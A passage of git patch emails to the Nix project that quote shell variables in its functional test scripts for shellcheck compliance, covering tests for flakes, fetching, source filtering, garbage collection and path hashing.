nix-command flakes accept-flake-config = true -' nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr -grepQuiet "true" $TEST_ROOT/stdout -grepQuietInverse "Ignoring setting 'accept-flake-config'" $TEST_ROOT/stderr +' nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr +grepQuiet "true" "$TEST_ROOT/stdout" +grepQuietInverse "Ignoring setting 'accept-flake-config'" "$TEST_ROOT/stderr" # 'flakes' experimental-feature is enabled after, process NIX_CONFIG=' accept-flake-config = true experimental-features = nix-command flakes -' nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr -grepQuiet "true" $TEST_ROOT/stdout -grepQuietInverse "Ignoring setting 'accept-flake-config'" $TEST_ROOT/stderr +' nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr +grepQuiet "true" "$TEST_ROOT/stdout" +grepQuietInverse "Ignoring setting 'accept-flake-config'" "$TEST_ROOT/stderr" function exit_code_both_ways { expect 1 nix --experimental-features 'nix-command' "$@" 1>/dev/null From f0492a61976ba41063565e903370c0c73e85a8ae Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:32:57 -0700 Subject: [PATCH 0794/1251] housekeeping: shellcheck for tests/functional/fetchPath.sh --- tests/functional/fetchPath.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/fetchPath.sh b/tests/functional/fetchPath.sh index e466e4494..560a270c1 100755 --- a/tests/functional/fetchPath.sh +++ b/tests/functional/fetchPath.sh @@ -2,7 +2,7 @@ source common.sh -touch $TEST_ROOT/foo -t 202211111111 +touch "$TEST_ROOT/foo" -t 202211111111 # We only check whether 2022-11-1* **:**:** is the last modified date since # `lastModified` is transformed into UTC in `builtins.fetchTarball`. [[ "$(nix eval --impure --raw --expr "(builtins.fetchTree \"path://$TEST_ROOT/foo\").lastModifiedDate")" =~ 2022111.* ]] From 224f5515b91075e368259102cff40ba1a6b6494d Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:32:58 -0700 Subject: [PATCH 0795/1251] housekeeping: shellcheck for tests/functional/fetchTree-file.sh Co-authored-by: Sandro --- tests/functional/fetchTree-file.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/fetchTree-file.sh b/tests/functional/fetchTree-file.sh index 9c9532876..6faccd282 100755 --- a/tests/functional/fetchTree-file.sh +++ b/tests/functional/fetchTree-file.sh @@ -90,7 +90,7 @@ EOF EOF # Test tarball URLs on the command line. - [[ $(nix flake metadata --json file://$PWD/test_input_no_ext | jq -r .resolved.type) = tarball ]] + [[ $(nix flake metadata --json "file://$PWD/test_input_no_ext" | jq -r .resolved.type) = tarball ]] popd From ae6a842c550e3fbb9c75e3ee93a78cf387fe4ec3 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:32:59 -0700 Subject: [PATCH 0796/1251] housekeeping: shellcheck for tests/functional/filter-source.sh --- tests/functional/filter-source.sh | 36 +++++++++++++++---------------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/tests/functional/filter-source.sh b/tests/functional/filter-source.sh index c5e10be93..b32f5b59d 100755 --- a/tests/functional/filter-source.sh +++ b/tests/functional/filter-source.sh @@ -2,26 +2,26 @@ source common.sh -rm -rf $TEST_ROOT/filterin -mkdir $TEST_ROOT/filterin -mkdir $TEST_ROOT/filterin/foo -touch $TEST_ROOT/filterin/foo/bar -touch $TEST_ROOT/filterin/xyzzy -touch $TEST_ROOT/filterin/b -touch $TEST_ROOT/filterin/bak -touch $TEST_ROOT/filterin/bla.c.bak -ln -s xyzzy $TEST_ROOT/filterin/link +rm -rf "$TEST_ROOT/filterin" +mkdir "$TEST_ROOT/filterin" +mkdir "$TEST_ROOT/filterin/foo" +touch "$TEST_ROOT/filterin/foo/bar" +touch "$TEST_ROOT/filterin/xyzzy" +touch "$TEST_ROOT/filterin/b" +touch "$TEST_ROOT/filterin/bak" +touch "$TEST_ROOT"/filterin/bla.c.bak +ln -s xyzzy "$TEST_ROOT/filterin/link" checkFilter() { - test ! -e $1/foo/bar - test -e $1/xyzzy - test -e $1/bak - test ! -e $1/bla.c.bak - test ! -L $1/link + test ! -e "$1/foo/bar" + test -e "$1/xyzzy" + test -e "$1/bak" + test ! -e "$1"/bla.c.bak + test ! -L "$1/link" } -nix-build ./filter-source.nix -o $TEST_ROOT/filterout1 -checkFilter $TEST_ROOT/filterout1 +nix-build ./filter-source.nix -o "$TEST_ROOT/filterout1" +checkFilter "$TEST_ROOT/filterout1" -nix-build ./path.nix -o $TEST_ROOT/filterout2 -checkFilter $TEST_ROOT/filterout2 +nix-build ./path.nix -o "$TEST_ROOT/filterout2" +checkFilter "$TEST_ROOT/filterout2" From d81fd4a1c38a7a06cfbad1728aa9bfcc3753dc6b Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:09 -0700 Subject: [PATCH 0797/1251] housekeeping: shellcheck for tests/functional/flakes/absolute-attr-paths.sh --- tests/functional/flakes/absolute-attr-paths.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/tests/functional/flakes/absolute-attr-paths.sh b/tests/functional/flakes/absolute-attr-paths.sh index 8ed1755c4..b0e6225d8 100755 --- a/tests/functional/flakes/absolute-attr-paths.sh +++ b/tests/functional/flakes/absolute-attr-paths.sh @@ -4,8 +4,8 @@ source ./common.sh flake1Dir=$TEST_ROOT/flake1 -mkdir -p $flake1Dir -cat > $flake1Dir/flake.nix < "$flake1Dir"/flake.nix < $flake1Dir/flake.nix < Date: Tue, 4 Jun 2024 13:33:10 -0700 Subject: [PATCH 0798/1251] housekeeping: shellcheck for tests/functional/flakes/build-paths.sh --- tests/functional/flakes/build-paths.sh | 44 +++++++++++++------------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/tests/functional/flakes/build-paths.sh b/tests/functional/flakes/build-paths.sh index a336471f0..f8486528b 100755 --- a/tests/functional/flakes/build-paths.sh +++ b/tests/functional/flakes/build-paths.sh @@ -5,15 +5,15 @@ source ./common.sh flake1Dir=$TEST_ROOT/flake1 flake2Dir=$TEST_ROOT/flake2 -mkdir -p $flake1Dir $flake2Dir +mkdir -p "$flake1Dir" "$flake2Dir" -writeSimpleFlake $flake2Dir -tar cfz $TEST_ROOT/flake.tar.gz -C $TEST_ROOT flake2 -hash=$(nix hash path $flake2Dir) +writeSimpleFlake "$flake2Dir" +tar cfz "$TEST_ROOT"/flake.tar.gz -C "$TEST_ROOT" flake2 +hash=$(nix hash path "$flake2Dir") dep=$(nix store add-path ./common.sh) -cat > $flake1Dir/flake.nix < "$flake1Dir"/flake.nix < $flake1Dir/flake.nix < $flake1Dir/foo +echo bar > "$flake1Dir/foo" -nix build --json --out-link $TEST_ROOT/result $flake1Dir#a1 +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a1" [[ -e $TEST_ROOT/result/simple.nix ]] -nix build --json --out-link $TEST_ROOT/result $flake1Dir#a2 -[[ $(cat $TEST_ROOT/result) = bar ]] +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a2" +[[ $(cat "$TEST_ROOT/result") = bar ]] -nix build --json --out-link $TEST_ROOT/result $flake1Dir#a3 +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a3" -nix build --json --out-link $TEST_ROOT/result $flake1Dir#a4 +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a4" -nix build --json --out-link $TEST_ROOT/result $flake1Dir#a6 +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a6" [[ -e $TEST_ROOT/result/simple.nix ]] -nix build --impure --json --out-link $TEST_ROOT/result $flake1Dir#a8 -diff common.sh $TEST_ROOT/result +nix build --impure --json --out-link "$TEST_ROOT/result" "$flake1Dir#a8" +diff common.sh "$TEST_ROOT/result" -expectStderr 1 nix build --impure --json --out-link $TEST_ROOT/result $flake1Dir#a9 \ +expectStderr 1 nix build --impure --json --out-link "$TEST_ROOT/result" "$flake1Dir#a9" \ | grepQuiet "has 0 entries in its context. It should only have exactly one entry" -nix build --json --out-link $TEST_ROOT/result $flake1Dir#a10 -[[ $(readlink -e $TEST_ROOT/result) = *simple.drv ]] +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir"#a10 +[[ $(readlink -e "$TEST_ROOT/result") = *simple.drv ]] -expectStderr 1 nix build --json --out-link $TEST_ROOT/result $flake1Dir#a11 \ +expectStderr 1 nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a11" \ | grepQuiet "has a context which refers to a complete source and binary closure" -nix build --json --out-link $TEST_ROOT/result $flake1Dir#a12 +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a12" [[ -e $TEST_ROOT/result/hello ]] -expectStderr 1 nix build --impure --json --out-link $TEST_ROOT/result $flake1Dir#a13 \ +expectStderr 1 nix build --impure --json --out-link "$TEST_ROOT/result" "$flake1Dir#a13" \ | grepQuiet "has 2 entries in its context. It should only have exactly one entry" # Test accessing output in installables with `.` (foobarbaz.) -nix build --json --no-link $flake1Dir#a14.foo | jq --exit-status ' +nix build --json --no-link "$flake1Dir"#a14.foo | jq --exit-status ' (.[0] | (.drvPath | match(".*dot-installable.drv")) and (.outputs | keys == ["foo"])) From ece86b719150fe5122f78b24e3f46602b6656973 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:11 -0700 Subject: [PATCH 0799/1251] housekeeping: shellcheck for tests/functional/flakes/bundle.sh --- tests/functional/flakes/bundle.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/tests/functional/flakes/bundle.sh b/tests/functional/flakes/bundle.sh index 711691e0b..5e185cbf6 100755 --- a/tests/functional/flakes/bundle.sh +++ b/tests/functional/flakes/bundle.sh @@ -2,9 +2,9 @@ source common.sh -cp ../simple.nix ../simple.builder.sh ../config.nix $TEST_HOME +cp ../simple.nix ../simple.builder.sh ../config.nix "$TEST_HOME" -cd $TEST_HOME +cd "$TEST_HOME" cat < flake.nix { @@ -27,8 +27,8 @@ EOF nix build .# nix bundle --bundler .# .# -nix bundle --bundler .#bundlers.$system.default .#packages.$system.default -nix bundle --bundler .#bundlers.$system.simple .#packages.$system.default +nix bundle --bundler .#bundlers."$system".default .#packages."$system".default +nix bundle --bundler .#bundlers."$system".simple .#packages."$system".default -nix bundle --bundler .#bundlers.$system.default .#apps.$system.default -nix bundle --bundler .#bundlers.$system.simple .#apps.$system.default +nix bundle --bundler .#bundlers."$system".default .#apps."$system".default +nix bundle --bundler .#bundlers."$system".simple .#apps."$system".default From 3b853e795beab3f5f7117b47ae0b3be42882fac4 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:12 -0700 Subject: [PATCH 0800/1251] housekeeping: shellcheck for tests/functional/flakes/circular.sh --- tests/functional/flakes/circular.sh | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/tests/functional/flakes/circular.sh b/tests/functional/flakes/circular.sh index 6cab3a72b..5304496ba 100755 --- a/tests/functional/flakes/circular.sh +++ b/tests/functional/flakes/circular.sh @@ -8,10 +8,10 @@ requireGit flakeA=$TEST_ROOT/flakeA flakeB=$TEST_ROOT/flakeB -createGitRepo $flakeA -createGitRepo $flakeB +createGitRepo "$flakeA" +createGitRepo "$flakeB" -cat > $flakeA/flake.nix < "$flakeA"/flake.nix < $flakeA/flake.nix < $flakeB/flake.nix < "$flakeB"/flake.nix < $flakeB/flake.nix < Date: Tue, 4 Jun 2024 13:33:15 -0700 Subject: [PATCH 0801/1251] housekeeping: shellcheck for tests/functional/flakes/flake-in-submodule.sh --- tests/functional/flakes/flake-in-submodule.sh | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/tests/functional/flakes/flake-in-submodule.sh b/tests/functional/flakes/flake-in-submodule.sh index 2988352a9..08f751216 100755 --- a/tests/functional/flakes/flake-in-submodule.sh +++ b/tests/functional/flakes/flake-in-submodule.sh @@ -27,8 +27,8 @@ rootRepo=$TEST_ROOT/rootRepo subRepo=$TEST_ROOT/submodule -createGitRepo $subRepo -cat > $subRepo/flake.nix < "$subRepo"/flake.nix < $subRepo/flake.nix < $subRepo/sub.nix -git -C $subRepo add flake.nix sub.nix -git -C $subRepo commit -m Initial +echo '"expression in submodule"' > "$subRepo"/sub.nix +git -C "$subRepo" add flake.nix sub.nix +git -C "$subRepo" commit -m Initial -createGitRepo $rootRepo +createGitRepo "$rootRepo" -git -C $rootRepo submodule init -git -C $rootRepo submodule add $subRepo submodule -echo '"expression in root repo"' > $rootRepo/root.nix -git -C $rootRepo add root.nix -git -C $rootRepo commit -m "Add root.nix" +git -C "$rootRepo" submodule init +git -C "$rootRepo" submodule add "$subRepo" submodule +echo '"expression in root repo"' > "$rootRepo"/root.nix +git -C "$rootRepo" add root.nix +git -C "$rootRepo" commit -m "Add root.nix" flakeref=git+file://$rootRepo\?submodules=1\&dir=submodule # Flake can live inside a submodule and can be accessed via ?dir=submodule -[[ $(nix eval --json $flakeref#sub ) = '"expression in submodule"' ]] +[[ $(nix eval --json "$flakeref#sub" ) = '"expression in submodule"' ]] # The flake can access content outside of the submodule -[[ $(nix eval --json $flakeref#root ) = '"expression in root repo"' ]] +[[ $(nix eval --json "$flakeref#root" ) = '"expression in root repo"' ]] # Check that dirtying a submodule makes the entire thing dirty. -[[ $(nix flake metadata --json $flakeref | jq -r .locked.rev) != null ]] -echo '"foo"' > $rootRepo/submodule/sub.nix -[[ $(nix eval --json $flakeref#sub ) = '"foo"' ]] -[[ $(nix flake metadata --json $flakeref | jq -r .locked.rev) = null ]] +[[ $(nix flake metadata --json "$flakeref" | jq -r .locked.rev) != null ]] +echo '"foo"' > "$rootRepo"/submodule/sub.nix +[[ $(nix eval --json "$flakeref#sub" ) = '"foo"' ]] +[[ $(nix flake metadata --json "$flakeref" | jq -r .locked.rev) = null ]] From d95adb531ec55970c3eeae964c734015985e19b2 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:23 -0700 Subject: [PATCH 0802/1251] housekeeping: shellcheck for tests/functional/flakes/init.sh --- tests/functional/flakes/init.sh | 58 ++++++++++++++++----------------- 1 file changed, 29 insertions(+), 29 deletions(-) diff --git a/tests/functional/flakes/init.sh b/tests/functional/flakes/init.sh index f8d51e819..6787b9e79 100755 --- a/tests/functional/flakes/init.sh +++ b/tests/functional/flakes/init.sh @@ -8,16 +8,16 @@ templatesDir=$TEST_ROOT/templates flakeDir=$TEST_ROOT/flake nixpkgsDir=$TEST_ROOT/nixpkgs -nix registry add --registry $registry templates git+file://$templatesDir -nix registry add --registry $registry nixpkgs git+file://$nixpkgsDir +nix registry add --registry "$registry" templates git+file://"$templatesDir" +nix registry add --registry "$registry" nixpkgs git+file://"$nixpkgsDir" -createGitRepo $nixpkgsDir -createSimpleGitFlake $nixpkgsDir +createGitRepo "$nixpkgsDir" +createSimpleGitFlake "$nixpkgsDir" # Test 'nix flake init'. -createGitRepo $templatesDir +createGitRepo "$templatesDir" -cat > $templatesDir/flake.nix < "$templatesDir"/flake.nix < $templatesDir/flake.nix < $templatesDir/trivial/flake.nix < "$templatesDir"/trivial/flake.nix < $templatesDir/trivial/flake.nix < $templatesDir/trivial/a -echo b > $templatesDir/trivial/b +echo a > "$templatesDir/trivial/a" +echo b > "$templatesDir/trivial/b" -git -C $templatesDir add flake.nix trivial/ -git -C $templatesDir commit -m 'Initial' +git -C "$templatesDir" add flake.nix trivial/ +git -C "$templatesDir" commit -m 'Initial' nix flake check templates nix flake show templates nix flake show templates --json | jq -createGitRepo $flakeDir -(cd $flakeDir && nix flake init) -(cd $flakeDir && nix flake init) # check idempotence -git -C $flakeDir add flake.nix -nix flake check $flakeDir -nix flake show $flakeDir -nix flake show $flakeDir --json | jq -git -C $flakeDir commit -a -m 'Initial' +createGitRepo "$flakeDir" +(cd "$flakeDir" && nix flake init) +(cd "$flakeDir" && nix flake init) # check idempotence +git -C "$flakeDir" add flake.nix +nix flake check "$flakeDir" +nix flake show "$flakeDir" +nix flake show "$flakeDir" --json | jq +git -C "$flakeDir" commit -a -m 'Initial' # Test 'nix flake init' with benign conflicts createGitRepo "$flakeDir" -echo a > $flakeDir/a -(cd $flakeDir && nix flake init) # check idempotence +echo a > "$flakeDir/a" +(cd "$flakeDir" && nix flake init) # check idempotence # Test 'nix flake init' with conflicts createGitRepo "$flakeDir" -echo b > $flakeDir/a -pushd $flakeDir +echo b > "$flakeDir/a" +pushd "$flakeDir" (! nix flake init) |& grep "refusing to overwrite existing file '$flakeDir/a'" popd -git -C $flakeDir commit -a -m 'Changed' +git -C "$flakeDir" commit -a -m 'Changed' # Test 'nix flake new'. -rm -rf $flakeDir -nix flake new -t templates#trivial $flakeDir -nix flake new -t templates#trivial $flakeDir # check idempotence -nix flake check $flakeDir +rm -rf "$flakeDir" +nix flake new -t templates#trivial "$flakeDir" +nix flake new -t templates#trivial "$flakeDir" # check idempotence +nix flake check "$flakeDir" From c7b3468968c56e34a38096419d59be5e71941e6f Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:24 -0700 Subject: [PATCH 0803/1251] housekeeping: shellcheck for tests/functional/flakes/inputs.sh --- tests/functional/flakes/inputs.sh | 32 +++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/tests/functional/flakes/inputs.sh b/tests/functional/flakes/inputs.sh index 0327a3e9e..bc0603f1b 100755 --- a/tests/functional/flakes/inputs.sh +++ b/tests/functional/flakes/inputs.sh @@ -8,12 +8,12 @@ requireGit test_subdir_self_path() { baseDir=$TEST_ROOT/$RANDOM flakeDir=$baseDir/b-low - mkdir -p $flakeDir - writeSimpleFlake $baseDir - writeSimpleFlake $flakeDir + mkdir -p "$flakeDir" + writeSimpleFlake "$baseDir" + writeSimpleFlake "$flakeDir" - echo all good > $flakeDir/message - cat > $flakeDir/flake.nix < "$flakeDir/message" + cat > "$flakeDir"/flake.nix < $flakeDir/message - cat > $flakeDir/flake.nix < "$flakeDir/message" + cat > "$flakeDir"/flake.nix < $clientDir/flake.nix < "$clientDir"/flake.nix < Date: Tue, 4 Jun 2024 13:33:29 -0700 Subject: [PATCH 0804/1251] housekeeping: shellcheck for tests/functional/flakes/mercurial.sh --- tests/functional/flakes/mercurial.sh | 46 ++++++++++++++-------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/tests/functional/flakes/mercurial.sh b/tests/functional/flakes/mercurial.sh index 0e9f2d626..1b095790b 100755 --- a/tests/functional/flakes/mercurial.sh +++ b/tests/functional/flakes/mercurial.sh @@ -5,41 +5,41 @@ source ./common.sh [[ $(type -p hg) ]] || skipTest "Mercurial not installed" flake1Dir=$TEST_ROOT/flake-hg1 -mkdir -p $flake1Dir -writeSimpleFlake $flake1Dir -hg init $flake1Dir +mkdir -p "$flake1Dir" +writeSimpleFlake "$flake1Dir" +hg init "$flake1Dir" -nix registry add --registry $registry flake1 hg+file://$flake1Dir +nix registry add --registry "$registry" flake1 hg+file://"$flake1Dir" flake2Dir=$TEST_ROOT/flake-hg2 -mkdir -p $flake2Dir -writeDependentFlake $flake2Dir -hg init $flake2Dir +mkdir -p "$flake2Dir" +writeDependentFlake "$flake2Dir" +hg init "$flake2Dir" -hg add $flake1Dir/* -hg commit --config ui.username=foobar@example.org $flake1Dir -m 'Initial commit' +hg add "$flake1Dir"/* +hg commit --config ui.username=foobar@example.org "$flake1Dir" -m 'Initial commit' -hg add $flake2Dir/flake.nix -hg commit --config ui.username=foobar@example.org $flake2Dir -m 'Initial commit' +hg add "$flake2Dir"/flake.nix +hg commit --config ui.username=foobar@example.org "$flake2Dir" -m 'Initial commit' -nix build -o $TEST_ROOT/result hg+file://$flake2Dir +nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" [[ -e $TEST_ROOT/result/hello ]] -(! nix flake metadata --json hg+file://$flake2Dir | jq -e -r .revision) +(! nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revision) -nix eval hg+file://$flake2Dir#expr +nix eval hg+file://"$flake2Dir"#expr -nix eval hg+file://$flake2Dir#expr +nix eval hg+file://"$flake2Dir"#expr -(! nix eval hg+file://$flake2Dir#expr --no-allow-dirty) +(! nix eval hg+file://"$flake2Dir"#expr --no-allow-dirty) -(! nix flake metadata --json hg+file://$flake2Dir | jq -e -r .revision) +(! nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revision) -hg commit --config ui.username=foobar@example.org $flake2Dir -m 'Add lock file' +hg commit --config ui.username=foobar@example.org "$flake2Dir" -m 'Add lock file' -nix flake metadata --json hg+file://$flake2Dir --refresh | jq -e -r .revision -nix flake metadata --json hg+file://$flake2Dir -[[ $(nix flake metadata --json hg+file://$flake2Dir | jq -e -r .revCount) = 1 ]] +nix flake metadata --json hg+file://"$flake2Dir" --refresh | jq -e -r .revision +nix flake metadata --json hg+file://"$flake2Dir" +[[ $(nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revCount) = 1 ]] -nix build -o $TEST_ROOT/result hg+file://$flake2Dir --no-registries --no-allow-dirty -nix build -o $TEST_ROOT/result hg+file://$flake2Dir --no-use-registries --no-allow-dirty +nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" --no-registries --no-allow-dirty +nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" --no-use-registries --no-allow-dirty From e1ce349d05608ea4acdcf02385f7fb634caa6a4b Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:30 -0700 Subject: [PATCH 0805/1251] housekeeping: shellcheck for tests/functional/flakes/search-root.sh --- tests/functional/flakes/search-root.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/tests/functional/flakes/search-root.sh b/tests/functional/flakes/search-root.sh index c2337edc0..600dcf937 100755 --- a/tests/functional/flakes/search-root.sh +++ b/tests/functional/flakes/search-root.sh @@ -4,8 +4,8 @@ source common.sh clearStore -writeSimpleFlake $TEST_HOME -cd $TEST_HOME +writeSimpleFlake "$TEST_HOME" +cd "$TEST_HOME" mkdir -p foo/subdir echo '{ outputs = _: {}; }' > foo/flake.nix @@ -27,11 +27,11 @@ success=("" . .# .#test ../subdir ../subdir#test "$PWD") failure=("path:$PWD" "../simple.nix") for i in "${success[@]}"; do - nix build $i || fail "flake should be found by searching up directories" + nix build "$i" || fail "flake should be found by searching up directories" done for i in "${failure[@]}"; do - ! nix build $i || fail "flake should not search up directories when using 'path:'" + ! nix build "$i" || fail "flake should not search up directories when using 'path:'" done popd @@ -45,7 +45,7 @@ if [[ -n $(type -p git) ]]; then pushd subdir git init for i in "${success[@]}" "${failure[@]}"; do - ! nix build $i || fail "flake should not search past a git repository" + ! nix build "$i" || fail "flake should not search past a git repository" done rm -rf .git popd From b764dd9aa40f3dcc5664d920393d277b97db3923 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:31 -0700 Subject: [PATCH 0806/1251] housekeeping: shellcheck for tests/functional/flakes/unlocked-override.sh --- tests/functional/flakes/unlocked-override.sh | 22 ++++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/tests/functional/flakes/unlocked-override.sh b/tests/functional/flakes/unlocked-override.sh index 680a1505c..a17a0c2af 100755 --- a/tests/functional/flakes/unlocked-override.sh +++ b/tests/functional/flakes/unlocked-override.sh @@ -7,26 +7,26 @@ requireGit flake1Dir=$TEST_ROOT/flake1 flake2Dir=$TEST_ROOT/flake2 -createGitRepo $flake1Dir -cat > $flake1Dir/flake.nix < "$flake1Dir"/flake.nix < $flake1Dir/x.nix -git -C $flake1Dir add flake.nix x.nix -git -C $flake1Dir commit -m Initial +echo 123 > "$flake1Dir"/x.nix +git -C "$flake1Dir" add flake.nix x.nix +git -C "$flake1Dir" commit -m Initial -createGitRepo $flake2Dir -cat > $flake2Dir/flake.nix < "$flake2Dir"/flake.nix < $flake1Dir/x.nix +echo 456 > "$flake1Dir"/x.nix -[[ $(nix eval --json $flake2Dir#x --override-input flake1 $TEST_ROOT/flake1) = 456 ]] +[[ $(nix eval --json "$flake2Dir#x" --override-input flake1 "$TEST_ROOT/flake1") = 456 ]] From cd46ec17f9bc353ba3b604e5291202e8c5aa175d Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:32 -0700 Subject: [PATCH 0807/1251] housekeeping: shellcheck for tests/functional/function-trace.sh --- tests/functional/function-trace.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/functional/function-trace.sh b/tests/functional/function-trace.sh index 71f18b67f..7524afdf2 100755 --- a/tests/functional/function-trace.sh +++ b/tests/functional/function-trace.sh @@ -21,12 +21,12 @@ expect_trace() { <(echo "$expect") \ <(echo "$actual") ) && result=0 || result=$? - if [ $result -eq 0 ]; then + if [ "$result" -eq 0 ]; then echo " ok." else echo " failed. difference:" echo "$msg" - return $result + return "$result" fi } From d1c476865a3cab6527f8f04aba8e285ff0ddd48c Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:49 -0700 Subject: [PATCH 0808/1251] housekeeping: shellcheck for tests/functional/gc-runtime.sh --- tests/functional/gc-runtime.sh | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/tests/functional/gc-runtime.sh b/tests/functional/gc-runtime.sh index 2ee72b61e..b5f6f769c 100755 --- a/tests/functional/gc-runtime.sh +++ b/tests/functional/gc-runtime.sh @@ -12,27 +12,27 @@ esac set -m # enable job control, needed for kill profiles="$NIX_STATE_DIR"/profiles -rm -rf $profiles +rm -rf "$profiles" -nix-env -p $profiles/test -f ./gc-runtime.nix -i gc-runtime +nix-env -p "$profiles/test" -f ./gc-runtime.nix -i gc-runtime -outPath=$(nix-env -p $profiles/test -q --no-name --out-path gc-runtime) -echo $outPath +outPath=$(nix-env -p "$profiles/test" -q --no-name --out-path gc-runtime) +echo "$outPath" echo "backgrounding program..." -$profiles/test/program & +"$profiles"/test/program & sleep 2 # hack - wait for the program to get started child=$! echo PID=$child -nix-env -p $profiles/test -e gc-runtime -nix-env -p $profiles/test --delete-generations old +nix-env -p "$profiles/test" -e gc-runtime +nix-env -p "$profiles/test" --delete-generations old nix-store --gc kill -- -$child -if ! test -e $outPath; then +if ! test -e "$outPath"; then echo "running program was garbage collected!" exit 1 fi From 1c9336098916d23d1510efb848ecdec8ce6eb70f Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:54 -0700 Subject: [PATCH 0809/1251] housekeeping: shellcheck for tests/functional/hash-path.sh --- tests/functional/hash-path.sh | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/tests/functional/hash-path.sh b/tests/functional/hash-path.sh index 12605ef71..86d782a95 100755 --- a/tests/functional/hash-path.sh +++ b/tests/functional/hash-path.sh @@ -3,7 +3,7 @@ source common.sh try () { - printf "%s" "$2" > $TEST_ROOT/vector + printf "%s" "$2" > "$TEST_ROOT/vector" hash="$(nix-hash --flat ${FORMAT+--$FORMAT} --type "$1" "$TEST_ROOT/vector")" if ! (( "${NO_TEST_CLASSIC-}" )) && test "$hash" != "$3"; then echo "try nix-hash: hash $1, expected $3, got $hash" @@ -61,7 +61,7 @@ NO_TEST_NIX_COMMAND=1 try sha512 "abc" "ddaf35a193617abacc417349ae20413112e6fa4e NO_TEST_CLASSIC=1 try sha512 "abc" "sha512-3a81oZNherrMQXNJriBBMRLm+k6JqX6iCp7u5ktV05ohkpkqJ0/BqDa6PCOj/uu9RU1EI2Q86A4qmslPpUyknw==" try2 () { - hash=$(nix-hash --type "$1" $TEST_ROOT/hash-path) + hash=$(nix-hash --type "$1" "$TEST_ROOT/hash-path") if test "$hash" != "$2"; then echo "try nix-hash; hash $1, expected $2, got $hash" exit 1 @@ -73,22 +73,22 @@ try2 () { fi } -rm -rf $TEST_ROOT/hash-path -mkdir $TEST_ROOT/hash-path -echo "Hello World" > $TEST_ROOT/hash-path/hello +rm -rf "$TEST_ROOT/hash-path" +mkdir "$TEST_ROOT/hash-path" +echo "Hello World" > "$TEST_ROOT/hash-path/hello" try2 md5 "ea9b55537dd4c7e104515b2ccfaf4100" # Execute bit matters. -chmod +x $TEST_ROOT/hash-path/hello +chmod +x "$TEST_ROOT/hash-path/hello" try2 md5 "20f3ffe011d4cfa7d72bfabef7882836" # Mtime and other bits don't. -touch -r . $TEST_ROOT/hash-path/hello -chmod 744 $TEST_ROOT/hash-path/hello +touch -r . "$TEST_ROOT/hash-path/hello" +chmod 744 "$TEST_ROOT/hash-path/hello" try2 md5 "20f3ffe011d4cfa7d72bfabef7882836" # File type (e.g., symlink) does. -rm $TEST_ROOT/hash-path/hello -ln -s x $TEST_ROOT/hash-path/hello +rm "$TEST_ROOT/hash-path/hello" +ln -s x "$TEST_ROOT/hash-path/hello" try2 